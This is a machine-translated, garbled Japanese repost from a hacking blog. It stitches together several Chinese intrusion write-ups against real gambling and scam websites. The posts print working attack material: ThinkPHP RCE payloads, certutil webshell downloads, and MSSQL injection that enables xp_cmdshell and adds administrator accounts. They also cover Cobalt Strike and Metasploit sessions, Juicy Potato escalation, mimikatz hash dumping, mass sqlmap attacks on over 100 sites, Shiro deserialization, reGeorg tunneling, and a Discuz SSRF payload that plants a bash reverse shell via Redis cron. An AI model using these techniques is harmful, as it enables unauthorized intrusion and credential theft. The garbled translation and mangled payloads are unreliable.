Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863108847

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

私は誤ってThinkPhpのほうれん草のサイトを発見しました。最近TPに抜け穴はありませんでしたか?

それから私はそれをさりげなくテストしましたが、プロセスはそれほどスムーズではありませんでしたが、ついに勝ちましたので、私は自分のアイデアを共有するためにこの記事を投稿しました。

0x00ワンクリックゲッシェル

短い見方の後、多くの人がプレイするはずですよね?

1049983-20240105093324133-383409570.png数日前、私はテストツールを書き、最初にテストするためにそれを取り出しました。

このツールは脆弱性を示しています

1049983-20240105093335090-2095780538.pngワンクリックゲッシェル、非常に滑らかに見えます、ハハ。

1049983-20240105093335989-559902528.pngしかし. Xiao Mingは髪を振って、物事が単純ではないことを発見しました。

1049983-20240105093336787-674964719.png包丁が接続されている場合、500のエラーが返されます。

1049983-20240105093337570-1853999192.png FirefoxのHackbarを使用して確認しました。それには何の問題もないので、なぜ包丁をつなげることができないのですか?

ケチな人として、私は深い考えに陥らざるを得ませんでした.

1049983-20240105093338367-558319976.png

0x01開始分析

私はこのツールを自分で書いたので、上記の写真から3番目の経験が呼ばれていることを発見したので、それを分析して見てみましょう。

次のようにPOC

/?s=index/\ think \ app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1] []=dir

POCの後にWhoamiを入力して、権限を確認しましょう。

/?s=index/\ think \ app/invokeFunctionFunction=call_user_func_arrayvars [0]=systemvars [1] []=whoami

IIS許可

ただし、Echo Dirなど、一部のコマンドを実行できます。

1049983-20240105093339418-1872353037.png

0x02シェルを突破してみてください

エコーを実行できるので、ポニーを書くことができます。それが成功した場合、私たちはポニーを使用してポニーをアップロードしてそれを行い、それを言うとすぐにそれを行います。大変な作業が来たら、列に並んで書かなければなりません。

注:コードのシンボルは^^で逃げる必要があります。たとえば、PHPは^^?phpに逃げました

1049983-20240105093340495-1537021683.png行ごとの執筆が完了した後、アクセスするときに正常に実行できないことがわかりました。ここでスクリーンショットを撮るのを忘れました。

次に、次の方法を使用してファイルをサーバーにダウンロードしようとしましたが、失敗しました。

1049983-20240105093351352-1328543067.png私があきらめようとしていたとき、私はまだ役に立たないダウンロードコマンドがあったことを思い出しました。

それはcertutil.exeです

それを行うだけで、マレーシアをサーバーに置き、HFSを有効にしてください。

次に、次のコマンドを実行します。

1049983-20240105093352245-99523761.pngはマレーシアに成功しましたが、あまりにも早く幸せにならないでください。

1049983-20240105093353277-1543002363.png Xiao Mingは再び髪を振って、物事がさらに難しいことを発見しました.

1049983-20240105093354070-918181612.pngマレーシアはファイルのアップロードを操作して名前を変更するなどしますが、ファイルを編集できず、ファイルソースコードなどを表示できません。クリックして空白スペースを表示します。

1049983-20240105093354903-784253893.pngそうなので、データベースに行き、見てみましょう。

TPのデータベース構成ファイルが次の場所にあることは誰もが知っています

/application/database.php

マレーシアを開くことができないため、TPコマンドを使用して脆弱性を実行し、Typeコマンドを使用してこのファイルを読み取ることができます。

/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1]

読み取りの試みは失敗し、コピーコマンドが頭に浮かぶようになりました。

database.phpをWebルートディレクトリにコピーし、名前を1.txtに変更します

/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1]]

コピーした後、URL/1.TXTにアクセスして、それが空であることがわかります。

0x03成功したブレークスルー

一連の障害を経験した後、私は落ち着いて考えました。また、File_Pathを使用してソースコードを読み取ることもできます。

1049983-20240105093405723-1104995441.png DAMAを使用して、このファイルをルートディレクトリにアップロードしてからアクセスし、データベース構成情報を正常に取得します。

1049983-20240105093407641-1694905724.png次に、構成情報を入力してデータベースを入力します。

1049983-20240105093408996-20299154.png 1049983-20240105093415084-497983513.pngこの記事が書かれた夜遅くすでにありました。私はテーブルの上でインスタント麺の半分を食べたインスタント麺を見て、最後に2杯のスープを飲み、電話をオフにして寝ました.

元のリンクから転載:https://www.jiansshu.com/p/1f9b02780f1c

0x00序文

私たちの小さなチームは、偶然に発見されたBCサイトに浸透しました。最初から、SQLMAPのみがエコーなしで、オンラインでCSにリバウンドし、MSFと協力するプロセスに、汚れたジャガイモの権利をアップグレードするプロセス、システムの許可を取得し、浸透プロセスを共有および記録するプロセスに

0x01ログインボックスSQLインジェクション

ログインボックスについて何も言うことがないことがわかりました。最初にsqlmapシャトルを試してみてください

图片

Burp Packet CaptureLoginリクエスト、ファイルに保存して直接実行して試してみてください

Python3 sqlmap.py -r '2.txt'には、盲目およびスタックインジェクションがあります

图片

SQLMapを使用してシェルを取得できるかどうかを確認してください

python3 sqlmap.py -r '2.txt' -os -shell視覚的に失敗しました

图片

プロンプトは、XP_CMDSHELLが有効になっていないことです。以前にスキャンした後にスタックインジェクションがあったため、ストアドプロシージャを使用してXP_CMDSHELLを開きます。

Payload:

usernamame=admin '; exec sp_configure' show dibanced options '、1; reconfigure; exec sp_configure'xp_cmdshell'、1; reconfigure; await for delay '0:0:15' - password=123 delay 15秒、実行は、それぞれの声明があります。理論的には同じです)

图片

ちなみに、XP_CMDSHELLを使用してユーザーの権利を追加してペイロードを作成してみてください(パスワードを簡単に設定してはならないことに注意してください。Windowsシステムにはパスワードの強度の要件があるようですが、パスワードが簡単すぎる場合、失敗する可能性があります)

username=admin '; exec xp_cmdshell' net user cmdshellテストzjz0eruwpcxrsgg8e3hl /add '; exec master.xp_cmdshell' net localgroup管理者テスト /add '; wait for delay' 0:0:15 '-password=123nmap scan=123nmam接続

接続されていません

图片

もう一度OS-Shellを実行して、絶対パスを実行できることを見つけます。これは良い兆候です

图片

シェルを正常にポップアップしました

图片

それは盲目のメモなので、私はhoamiなどのコマンドをエコーしなかったので、CSのシェルコードを直接使用しました

图片

图片

生成されたシェルコードはOSシェルに直接貼り付けられ、車に戻ります

图片

その後、CSはオンラインになり、すぐになりました。急いで、道徳的で道徳的ではない数人の若者に電話をかけてカードをプレイするために電話してください

0x02情報収集

タスクリスト、プロセスを確認してください、Alibaba Cloud Shieldで行うのは少し難しいです

图片

SystemInfoそこにあるものを見てください

Alibaba Cloudのサーバー、Windows Server 2008 R2のバージョンには75のパッチがあります

图片

おっと、データベースの電力が削減されており、サービス許可が非常に低いと推定されています

图片

MS-16-032からEXPをアップロードしてみてください、そしてアップロードが直接失敗しました

图片

この時点で、CSの役割は非常に限られています。 CSはただの喜びであり、MSFに依存します。

0x03 FRPを使用してCSサーバーを使用してMSF攻撃をリンクします

CSでリスナーを開きます

图片

FRPの構成ファイルを変更します

图片

構成ファイルを保存した後、FRPフォルダーでFRPを開始します

./FRPC -C FRPC.INI 图片

MSFをオンにして、監視を有効にします

Exploit/Multi/Handlerset Payload Windows/Reverse_httpset lhost 127.0.0.1Set LPort 9996runを使用する

图片

CSに戻り、右クリックしてホストを選択し、セッションを追加します

图片

作成したリスナーを選択して、選択します

图片

MSFに戻ると、セッションは非常に迅速に跳ね返りました

图片

シェルに行き、見てみましょう。実際、CSのビーコンを引き継ぎましたが、まだ許可が低い

图片

0x04腐ったポテトexpをExp

にアップロードします

腐ったジャガイモをローカルで準備します(Windowsパスにさらにスラッシュを追加することに注意してください。ただし、いくつかのマシンを試した後、追加の成功率が高いことがわかりました。

upload/root/exp/juicypotato/potato.exe c: \\ users \\ public 图片

CSはターゲットマシンのファイルをめくって、それが正常にアップロードされたことを発見しました

图片

次に、ターゲットマシンのフォルダーを入力して、権利のエスカレーションの準備を開始します

CD C: \\ users \\ publicuse incognitoexecute -ch -f ./potato.exelist_tokens -uコピー管理者のトークンImpersonate_token 'Administrator' 图片

最後に、エスカレーションが成功しているかどうかを確認します

图片

0x05ミミカッツクロールパスワードハッシュ

最初に権利を上げます

GetSystem 图片

直接ダンプしてみてください

图片

いいえ、ミミカッツを使用する必要があります

ミミカッツとクロールパスワードハッシュをロードします

mimikatz_command -f samdump:3360hashes 图片

MSFに付属のモジュールを使用することもできます(これはMimikatzよりも少し遅いです)

POST/Windows/gracking/smart_hashdump 图片を実行します

次に、CMD5に投げて復号化します。パスワードが弱い場合は、アカウントのパスワードをアンインストールできます。今回は、あなたは幸運です。パスワードが弱いです。パスワードを直接アンインストールできます。その後、MSTSC.EXEはデスクトップで直接接続され、正常に起動されます。

图片

0x06情報収集は攻撃範囲を拡張します

ターゲットの最高の許可を正常に取得した後、情報収集を通じて他の同様のサイトを取得してバッチ攻撃を実行してください。

@Crow MasterはWebサイトのCMS機能を抽出し、バッチでスキャンするFOFAスクリプトを書き、最終的に1900以上のサイトを入手しました。

图片

ただし、BCステーションはしばしば場所を撮影して変更するため、これらのドメイン名のほとんどは利用できないことが多いため、ドメイン名の生存状態を再度確認する必要があります。スクリプトを使用して、最後のステップは、100を超える生存するドメイン名を取得することです。

图片

スクリプトを使用してバッチ内の脆弱なURLにアクセスする場合、生成されたリクエストを使用して、マルチスレッドスクリプトを使用してこの要求を開始するリクエストを開始するリクエストを実行します

python3 sqlmap.py -r '{0}' - dbms='microsoft sql server' - batch-s-shellは、最終的にOS-Shellをポップアップして手動で挿入するホストを取得し、最終的に多数のオンラインホストを取得します

图片

0x07舞台裏に移動して

にアクセスします

データベースにある管理者アカウントパスワードを使用して、Webサイトの背景にログインして見てみましょう

20人が800,000以上を充電しました

图片

图片

图片

「Bright Future」と呼ばれる人々のゲームアカウントもありますが、オンラインギャンブルが自分の未来を破壊していることを知りません!

图片

私は皆にギャンブルから離れることを勧めます、そして、私は閉じ込められているギャンブラーが戻ってくることを願っています!

元のリンクアドレスで転載: https://mp.weixin.qqc.com/s?__biz=mzi3nja4mjmymw==mid=2647772541Idx=1SN=646E732C96521E0D4D9D109426C4DC4DCHK SM=F35F9681C4281F97B4C46CD95F858DC90481706A6DB607FCFD6596A15745CA10C88BA83E0E9FSCENE=21#wechat_redirect

0x00インシデントの原因

私は3999の貯蔵前の電話手形に遭遇し、タブレットを送るようにだまされました。 Alipayは運営され、現金を払い、お金を譲渡し、私のHuabeiを奪いました。

家に帰ったとき、私は何かが間違っていると感じ、それをますます後悔しました。私はこの種の活動についてオンラインで検索し、それらの多くを捕まえましたが、それらはまったく同じでした。私がそれを見れば見るほど、私は怒りになりました。

图片

最も重要なことは、私が与えたタブレットは800元であり、これは販売前の電話代の価値がなく、実際には立ち往生していたので、私はより深く掘り下げることにしました。

0x01情報収集

検証テキストメッセージによって送信された短いドメイン名リンクをブラウザにコピーして、url xx.xxxx.xx.xxを解決します。良い男は明らかに公式のモバイル担当者の下にいません。彼はWebマスターツールを介してURLを検索して分析し、CDNを有効にせずにAlibaba Cloudに解決しました。ドメイン名ホルダーは、広東省のテクノロジー企業です。ドメイン名は今年11月に失効しました。会社を捜索した後、私は4つの大きな単語「Operation異常」が異常であることがわかりました。数千人の電話手形はとてもクールでなければなりません。

图片 图片 图片

NMAP -P 1-65355 xx.xxxx.xxを使用して取得したドメイン名をスキャンすることにより、どのサービスがオープンしているかを確認し、そのサービスから開始するサービス80と22のみがあることがわかります。

图片

ポート80へのWebサービスにアクセスした後、このインターフェイスは、テキストメッセージコンテンツの短いドメイン名からジャンプするインターフェイスでもあります。

图片

そのURLフォームは/admin/user/loginの明らかなユーザーログインインターフェイスです。誰もが知っているように、管理者は管理を意味します。直感により、レイヤーごとにディレクトリアクセスレイヤーを削減し、管理者/ログインのマーチャント管理インターフェイスになります。

图片

0x02脆弱性マイニング

現在、2つのログインインターフェイスが見つかりました。舞台裏のログインには、ブラスト操作を実行するための検証コードはありませんが、前提条件は商人の携帯電話番号を知ることです。通常、自分のユーザーにログインして、利用可能な場所があるかどうかを確認しましょう。機能は非常に単純で、利用可能な場所はありません。アバターを編集してアップロードすることはできません。このインターフェイスは、表示される電話料金の合計量のみを提供します。このようなプラットフォームを使用して、過去数か月間に消費者を怖がらせるために数字を表示するだけです。

图片

ユーザーを終了してバープを使用してパケットをキャプチャして送信されたデータを分析し、正しい携帯電話番号検証コードとSMS検証コードを入力してパケットキャプチャを有効にしますが、パラメーターはすべてプレーンテキストで送信され、検証コードはすべて正しいことがわかります。他のユーザーに置き換えた場合、普及しているレベルのレベルに到達できますか?モバイルの交換番号は、他のユーザーに正常にログインし、普及しているレベルのレベルを取得しました。

图片 图片

同じパーソナルセンターと同じ場所を使用せずに、バックグラウンドログインボックスに切り替えます。何も言わない場合は、Burpを直接使用してログインポストパッケージをキャッチできます。ローカルTXTファイルに保存し、SQLMAPで実行します。予期せぬ利益があるかもしれません。 Alibaba Cloudのサーバーがローカルで100%傍受されているため、実行するのと同じAlibaba Cloudサーバーを使用することを選択しました。ユーザー名、パスワード、およびremenbaerは注入されていません。

图片 图片

大丈夫、パッケージを手に取り、応答するデータを確認するためにパッケージを送信してください。アカウントのコンテンツが値タグに直接出力されていることがわかります。

图片

XSSペイロードを構築して、閉じてプラグインしてください! 」ScriptAlert(/xss/)/Scriptは、反射XSSを再除外します。

图片

图片

0x03 getShell

掘られた2つの抜け穴は役に立たず、アイデアは一時的に遮断されました。戻って、キャッチされたデータパケットを分析します。応答パケットにあまり注意を払っていません。私は、rememberme=deletemeという言葉は、shiroの敏deserializationの脆弱性という言葉であることを発見しました。

图片

Expに移動して、こちらのソースコードを確認し、検出についてWebサイトの静的ファイルを入力してください。

图片

コマンド実行ボックスは、脆弱性が存在するという入力可能な証拠であり、その逆の場合は入力できないことがわかります。さらに、5663.JS検証ファイルは /CSSレベルのディレクトリで生成され、アクセステストはファイルの書き込みに成功します。

图片 图片

ファイルは正常に記述され、シェルはIce Scorpion接続に書き込まれ、現在の権限を表示するためにWhaamiを実行します。 Linux環境は、権限を上げる問題を節約するために、最高の権限を直接ルートします。

图片

許可が利用可能であり、サーバーは公開キーに22のポートを開き、パスワードなしで直接ログインします。ただし、他のパーティがAlibaba Cloudのサーバーがリモートロケーションでログインしていることを考えると、ノイズが大きすぎるため、ソリューションは実装されていないというテキストメッセージのリマインダーがあります。私たちは有用な情報を掘り下げ続けました。長い間検索した後、データベース構成ファイルを見つけました。データベース接続のアドレスは172.xx.xx.xxです(マスターは非常に熟練しており、イントラネットアドレスもコードに与えられて鎮痛を防ぎます)。イントラネットのIPステーションデータベースであることを確認できます。プロキシに転送して接続する方法を見つけました。

图片

Ice Scorpionにソックスエージェントがいて、Proxifierと協力して、Navicatプレミアムデータプログラム管理をイントラネットデータベースにトンネルエージェントに追加します。プロキシファイアが構成された後、プログラムがConnectに追加されます。ただし、繰り返し試験と繰り返し接続の後、データは直接異常になり、それらのほとんどは傍受されます。

图片

イントラネットプロキシで多くのトリックを踏んでいます。要するに、私はまだ十分に経験していません。また、adminer.phpを使用するように指示を与えたマスターもいます(ここでは@Unciaのボス)。管理者は本当に良い、軽量で、便利です。 Webディレクトリをアップロードするだけです。しかし、環境では、Java環境はJSPスクリプトのみをサポートし、管理者にはPHPスクリプトのみがあります。

图片

0x04イントラネットエージェント

admenterは氷のサソリをサポートせず、プロキシできないため、プロキシトンネルを設定し、ここで多くの落とし穴に足を踏み入れて、トラフィックや切断なしでReduhとTunnaを使用しようとします。姿勢が間違っているのか、現在の環境によって制限されているのかはわかりません。最後に、GitHubでRegeorgアーティファクトを見つけました。

Regeorg

主にイントラネットサーバーのポートを使用してHTTP/HTTPSを渡すReduhのアップグレードバージョンと言えます

トンネルはローカルマシンに前進し、ターゲットサーバーのループを形成して、イントラネットまたはポートポリシーでターゲットサーバーの内部オープンポートに接続します。ウェブシェルを使用して作成します

Socksエージェントは、現在の環境がJavaであるため、イントラネットの浸透を実行します。JSP転送ファイルをWebサイトディレクトリにアップロードします。

スクリプトをアップロードしてスクリプトにアクセスした後、Georgが「すべて大丈夫だ」と言っていることを示しています。プロキシは成功しています。

图片

次に、python2 regeorgsocksproxy.py -p 9999 -u http://xx.xxxx.xx/tunnel.jspを実行します。Georgは、コマンドラインインターフェイスで「すべては問題ない」と表示されます。

图片

Proxifierを開き、基本的にローカル127.0.0.1の9999ポートを構成し、Proxyルールを設定してNAVICATプログラムを追加します。他のアクションについては、直接オフ状態を選択しますが、NAVICATトラフィックが通過できるようにします。

图片

構成が完了したら、Navicatを右クリックしてProxifierローカルプロキシモードで開きます。

图片

リンクが安定しており、Pythonウィンドウにはトラフィック送信があることがわかります(プロキシプロセス中にウィンドウを閉じないでください)。

图片

0x05真の詐欺

また、データベースを接続し、メンバーシップテーブルのアカウントを見て、メンバーシップテーブルの名前フィールドをフィルタリングして名前を見つけました。案の定、そこにデータが横たわっていた時間は、データがだまされていた時間と一致します。

图片

それを証明する方法は?とても簡単です。カレーのユーザーの最初のバッチは2019年5月からであり、1年先です。これは、19年のアカウントでアカウントにログインした詐欺であり、キャッシュバックの記録を見ることができることは明らかです。私は、権威の抜け穴を無効にする以前のレベルのレベルに基づいて、ラッキープレーヤーをランダムに彼のアカウントにログインします。

图片

これが過ぎてから1年が経ちましたが、キャッシュバックが初めてです。過去数ヶ月で、さまざまな理由であなたをだますのは消費者です。要するに、常に苦しむのは消費者です。

图片

0x06最後に書き込み

私がこの記事を書いた理由については、私も被害者であるため、このように分析して、誰もがこの局をより直感的に理解して、より多くの人々がだまされるようにしたいと思います。あなたがそれを処理するために行くとき、彼らはこれがモバイルによって承認された活動であることをあなたに伝えます(私は前に私に言った)。しかし、このようにして、モバイルとは何の関係もないことがわかります。それは彼らが独立して構築した単なるプラットフォームであり、内部のバランスはただの愚か者です。あなたを安心させるための番号を示すプラットフォームがあります。最初の月に到着した数百ドルについては、彼らはあなたのセットの数千から数百人で手動であなたを充電するだけです。

それについて話さないでください。翌年、私は汚れを食べてhuabeiを返さなければなりません。マーチャントがシステムにログインすると、おそらくもっとトリックがありますが、浸透テストがポイントするまで、私の目的はこれが詐欺かどうかを証明することです。それはしっかりしたものなので、私たちはより深く行く必要はありません。

私たちが行う安全な対立は、火薬のない戦争のようなものです。勝利または負けに加えて、戦争の結果は正義と不正の違いもあります。唯一の違いは、私たちは常に正義の観点から立ち、それに害を及ぼさずにその抜け穴の原則を探求しなければならないことです。

元のリンクアドレスで転載: https://mp.weixin.qqc.com/s?__biz=mzg2ndywmda1na=mid=2247486245IDX=1SN=ebfcf540266643c0d618e5cd47396474chk SM=CE67A1BCF91028AA09435781E951926067DCF41532DACF9F6D3B522CA2DF1BE8A3C8551C1672CENE=21#WECHAT_REDIRECT

FastJSONフルバージョンDockerの脆弱性環境(バージョン1.2.47/1.2.68/1.2.80などをカバー)、主にJNDIインジェクション、WAFバイパス、ファイルの読み取りと書き込み、脱3、チェーン検出バイパス、およびネットワーク外の利用を含みます。シナリオをブラックボックステストに設定し、Black Boxの観点からFastJsonの深い利用のプロセス全体をカバーします。一部の環境は、JARパッケージで逆コンパイルおよび分析する必要があります。

Docker環境

Dockerは-Dを構成します

Docker Pull環境が遅い場合は、国内のミラーリングを使用してみてください

https://www.runoob.com/docker/docker-mirror-acceleration.html

環境が開始されたら、対応するIPポート80にアクセスします。

1049983-20240102232717449-1783234989.jpg

Fastjsonのいくつかの一般的な脆弱性エクスプロイトの概要。これは食品で使用できます:FastJSONフルバージョンの検出と利用-POC

使用後に環境を破壊してください。そうしないと、競合する可能性があります:Dockerが落ち着く

撮影範囲の順序を整理する:(使用率の特性に応じて3つのカテゴリに分割)

FASTJSON 1.2.47

1247-jndi

1247-jndi-waf

1247-WAF-C3P0

1245-JDK8U342

FASTJSON 1.2.68

1268-readfile

1268-jkd11-writefile

1268-JDK8-WRITEFILE

1268-writefile-jsp

1268-writefile-no-network

1268-JDBC

1268別の記事を使用してファイルを書き込みます。これは、fastjson1268の書き込みファイルRCE研究と併用できます

FASTJSON 1.2.80

1280-groovy

1283-Serialize

各マシンのルートディレクトリに隠されたフラグファイルがあります。それを取得してみてください!

一部の環境はまだ与えられておらず、しばらくの間それらをリリースすることを計画しています。また、WPと提案を提出することも歓迎します。

ドック環境:https://github.com/lemono0/fastjsonparty

0x00情報収集

友人が私にウェブサイトをくれました。これは比較的大きな紀元前と見なされます。私はメインのウェブサイトを見て、入り口がなかったので、彼のプロモーションプラットフォームの1つに変更しました。

图片

次に、最初にディレクトリを大まかにスキャンして、いくつかの便利なものを見ることを望んでいます。現時点では、たとえば、Webサイトのソースコードがパッケージ化されているかどうかなど、重要なファイルhttps://scan.top15.cn/web/infoleakをすばやく表示するためのインターフェイスをお勧めします。スキャンしてからスキャン結果を表示しなかったことは明らかです。

图片

config.inc.phpは、経験によれば、データベースの構成ファイルである必要がありますが、サイズは0bです。暫定的にアクセスします。予想どおり、アップロードアクセスはありません。これは403です。ただし、経験に基づいて、再びスキャンします。たぶんそれはFCKエディターです。残念ながら、私は何もスキャンしませんでした。 /index.php/login/、サイズはわずか2kbで、背景ではなく、少し残念です。ポートには1つのWebアセットのみがあるため、Webサイト機能を確認することしかできません。それから私はクエリをクリックして、ここで注入を見つけたいと思った。

0x01バックエンドインジェクション

图片

案の定、注入があり、残りはバックエンドを探すことです。

图片

現在のデータベースを表示します(extractValue(1、concat(0x7e、(select database())、0x7e)) - ) -

图片

ここでは、ピット、アカウント=1 ')と(抽出バリュー(1、concat(0x7e、(select database())、0x7e)))))をステップすることを忘れないでください。

TMはデータを生成することはありません。クソフィルターがあると思いました。

そして、一つずつファジングします。

コメントが閉じられるかどうかを考えた後、コメントが追加されます ')。案の定、データは閉じた後にリリースされます。

その後、SQLMapを使用してデータを実行しましたが、TMが使い果たされないとは思っていませんでした。

自分でSQLMAPステートメントを再構築することによってのみ、python2 sqlmap.py -r 1.txt ---prefix '') ') - suffix' - ( '' - level 3 - tamper=space2plus - skip-urlencodeが最終的に使い果たされました。

後でペイロードを見ました。私が走るたびに、スペースは20%にコンパイルされます。 URLがエンコードされた後、ペイロードが有効になりないため、Skip-Urlencodeパラメーターを使用しました。

0x02注入点

驚きが再び来ました。私はPRIVを見ましたが、非常に多くのMySQL注射がついに比較的高い許可を得たことは事実でした。

图片

アカウントとパスワードを直接読んでいませんでした。絶対パスを除いてエラーを報告したばかりです。これではありませんか?ペイロードをチェックしたとき、HWSを見つけましたが、兄弟たちは簡単ではないと感じました。

图片

案の定、あなたがそれを書くことができないならば、あなたがそれを追加するならば、あなたは最終的にそれを書くことができません-hex。

それは大丈夫です、そして-sql-shell。

積み重ねて書いてください、私はそれを書くことができない可能性が高いことを知っていますが、私はまだそれを試してみる必要があります。

TMの浸透は形而上学です。

图片

私はprivをチェックしました、それはnullではありませんでした、そして私に少し希望を与えました。それを書いて、最初にTXTを書いて見ることができます。

Outfileに1を選択'd:/wwwroot/wnshd.com_22fqiz/web/1.txt'

图片

それから私はそれを読むためにウェブサイトに行きました、そしてそれを書くことはありませんでした、それは本当に困難でした。

すべてが残っています - ファイルワイト、これはマップに固執しておらず、まだ削除されていません。

無力で、バックエンドアカウントのパスワードのみを確認できます。

图片

アカウントとパスワードを収集した後、私はバックエンドに行きましたが、残念ながら私はまだそれを見つけることができず、それはほとんど絶望でした。

このTMはあなたに届けられましたが、なぜ私はまだそれを手に入れることができないのですか? SQLMapの問題だと思います。私はもう一度上記の手順を実行しました。 SQLMapはあなたに嘘をつくかもしれませんが、HWSはそうしません。書くことができない場合は、できません。

それを忘れて、アイデアを変えましょう。ディレクトリが爆発したのではありませんか?

wolsoowpppps、私は戻ってそれをチェックします、予期しないことは何もありません403、wolsoowpppps/admin、wolsowpppps/login。

何もありません、dirsearchはスキャンされ、TMにはまだ何もありません。

0x03馬の執筆に失敗する

それはWeb/wolsoowppppsのパスではありませんか?パスに絶対に問題があるのでしょうか?私は訪問します

图片

また、これは403であり、これはスキャンされていないディレクトリであることを意味します。くそー、ここに何かがあるように感じます。

その結果、写真をスキャンして投稿を停止しましたが、まだ何もありませんでした。

ハハハハ。

それは喜びの無駄です。

しかし、私は常にこのwolsoowpppsディレクトリに何か問題があると感じています。私はそれを曖昧にし、それをウェブからファズにしてから、ウェブをスキャンしました。ああ、私の良さ、私は一時的です。

PHP訪問、マレーシア人。

これを手に入れるのは良いことではありませんか?

图片

その後、爆発し、最後に、アリのキーをアップロードして、それを取り下げます。

このマレーシアはとても馴染みがあります。

图片

しかし、HWSはまだ本当に強力です。

コマンドを実行することはできず、プラグインと.SOメソッドは見つかりませんでした。

图片

ここで兄弟ファンに感謝します。彼が言及した警備員の神は、主にaspで、氷のサソリ馬を送るだけです。

图片

それから私は多くの解決策を考えましたが、この許可を下すことはできません。 XZのボスは知っておくべきだと思います。状況を教えてください。

現在、ディスクDには表示および変更許可のみがあり、EXEは実行できません。つまり、MSシリーズは使用できません。

ポテト一族はそれを渡すことができません。

IISは数秒で落とすことはできません。

ルアンを殺すことは、ターコイズ、保護者、安全な犬です。

上向きのCSですが、DLLとMSHTAの実行は立ち往生しています。当面の間、パワーを増やす方法がわかりません。拡大し続けたいのですが、プロモーションのために力にほとんど接触していません。預言者が私のいとこにアイデアを与えることを願っています。

0x04バックエンドを取得

最後に、マレーシア人がどのようにアップロードされたかについて考えました。

他の当事者は注射から始めることもできます - XSSを1か所で見つけました(私も見つけましたが、10月にカスタマーサービスがオフラインであったため、サイトを変更したため、XSSは戦うことができませんでした) - バックエンドRCE(TP3.2.3 CACHE GETSHELL)がMalaysiaに行きました。

これはXSSの場所です

图片

これはバックエンドです

图片

このサイトには大まかな価格の比較がありますが、そのアイデアは非常にシンプルなので、もっと学ぶべきです。

元のリンクから転載:https://mp.weixin.qq.com/s/qndlnapnk_485uapilqxrq3https://xz.aliyun.com/t/8491

メインサイトを登録するときに、JSPとPHPの接尾辞が共存することがわかります。異なるルートが異なるミドルウェアを逆転させたため、脆弱性は見つかりません。

Image

フォーラムはディスクです! x3.2

Image

Discuz緊急治療室が見つかりました。

Image

admin.php 403、uc_server、および緊急治療室には、パスワードが弱い。

《渗透某盗版游戏网站》で、ディスクスのバックグラウンドにある脆弱性を紹介しましたが、フロントデスクの脆弱性についてはどうでしょうか。主に、任意のファイル削除、SSRF、およびUC_Serverブラストがあります。

まず、ファイルを削除します。

post /home.php?mod=spacecpac=profileop=base

birthprovince=./././info.php

Image

次に、ファイルを投稿してinfo.phpを削除します

format='https://x.com/home.php?mod=spacecpac=profileop=base'method=' post 'enctype=' multipart/form-data '入力タイプ=' name='birthprovince' id='file'/inputタイプ='text'name=' text=''/input '/inputip'/input 'prept' prept 'preper value='1'/input type='submit' value='submit' //Discuzがファイルを削除してインストールすることは困難です。

もう一度SSRFを見てみましょう。

/forum.php?mod=ajaxaction=downRemoteimgmessage=

これは、反響せず、時間遅延によってのみ判断することができるSSRFです。

1. HTTPを介してイントラネットを直接検出できます。 IPが生き残ると、短い遅延があり(ポートが開いているかどうかに関係なく)、IPが存在しない場合、長い遅延があります。

2。プロトコルは302ジャンプで変更でき、FTP、DICT、およびGOPHERをサポートできます。

第三に、ポートはFTPプロトコルを介して検出できます。ポートが開いている場合、長い遅延があり、ポートが閉じていると短い遅延があります。

最初に、HTTPプロトコルを介してVPSにアクセスして、フォーラムの実際のIPを取得します。

163.*。 *.35.bc.googleusercontent.com(35。*。*。163)

その後、ローカルレディスを盲目的に呼び出すようにしてください(ここではローカルポートを検出するために、それは不合理なので、私はそれを直接盲目的に呼びます)

GopherプロトコルがRedisをローカルで攻撃する場合、コマンド文字列の各行の長さを$で宣言する必要がないことがわかります。

最初に、クリアSSRF攻撃ペイロードを参照してください

/forum.php?mod=ajaxaction=downRemoteimgmessage=dbfileName root%0d%0aset 0 '\ n \ n */1 * * * * * * bash -i /dev/tcp/62.1.1.1/566701/n\n'%0d%0Asave%0D%0Aquit%0D%0Axx=1.png

次に、302.phpの間?データ=、URLをエンコードする必要があり、データ=xx=1.からすべての文字列が2回エンコードされ、BPでパッケージ化されます。

/forum.php?mod=ajaxaction=downremoteimgmessage=%36%36%63%25%37%35%25%37%33%25%36%38%25%36%31%25%36%63%25%36%63%25%32%35%25%33%33%25%36%33%25%36%33%25%36%336 30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%25%36%39%25%36%37 %25%32%30%25%36%25%36%31%25%37%32%30%30%36%32%25%32%30%25%36%32%66%25%37%36%31%25%37%32%25%32%32%66 %25%37%33%25%37%30%25%36%66%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%36%33%25%36%65%32%66%25%36%65%36% 25%32%35%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%25%36%25%36%25%36%39%25%36%37%25%32%30%2 5%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25 %36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25% 36%31%25%37%33%25%36%35%25%37%34%25%32%30%25%33%30%25%32%30%25%32%32%25%35 %63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%61%25%32%30%25%32%61%25%32%30 %25%32%61%25%32%61%25%32%30%25%32%61%25%32%61%25%30%30%25%32%61%25%32%30%25 %32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%332%30%25%32%30%25%32%30%25%36 %32%25%36%31%31%25%37%33%25%36%38%25%32%30%25%32%66%36%25%32%66%25%34%25%36%36%34% 25%36%35%25%36%32%66%25%33%31%25%32%66%25%33%31%25%32%66%25%32%65%31%32%65%31%32%6 5%25%33%31%25%32%65%25%33%31%25%32%66%25%33%35%25%33%36%25%33%36%25%33%37%25%32%30%33%33%30%25%33%65%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25% 32%36%25%33%30%25%33%65%25%36%36%25%33%30%25%33%30%25%36%34%32%35%25%33%30%25%33%30%33%33%30%25%36%31%31%31%31% 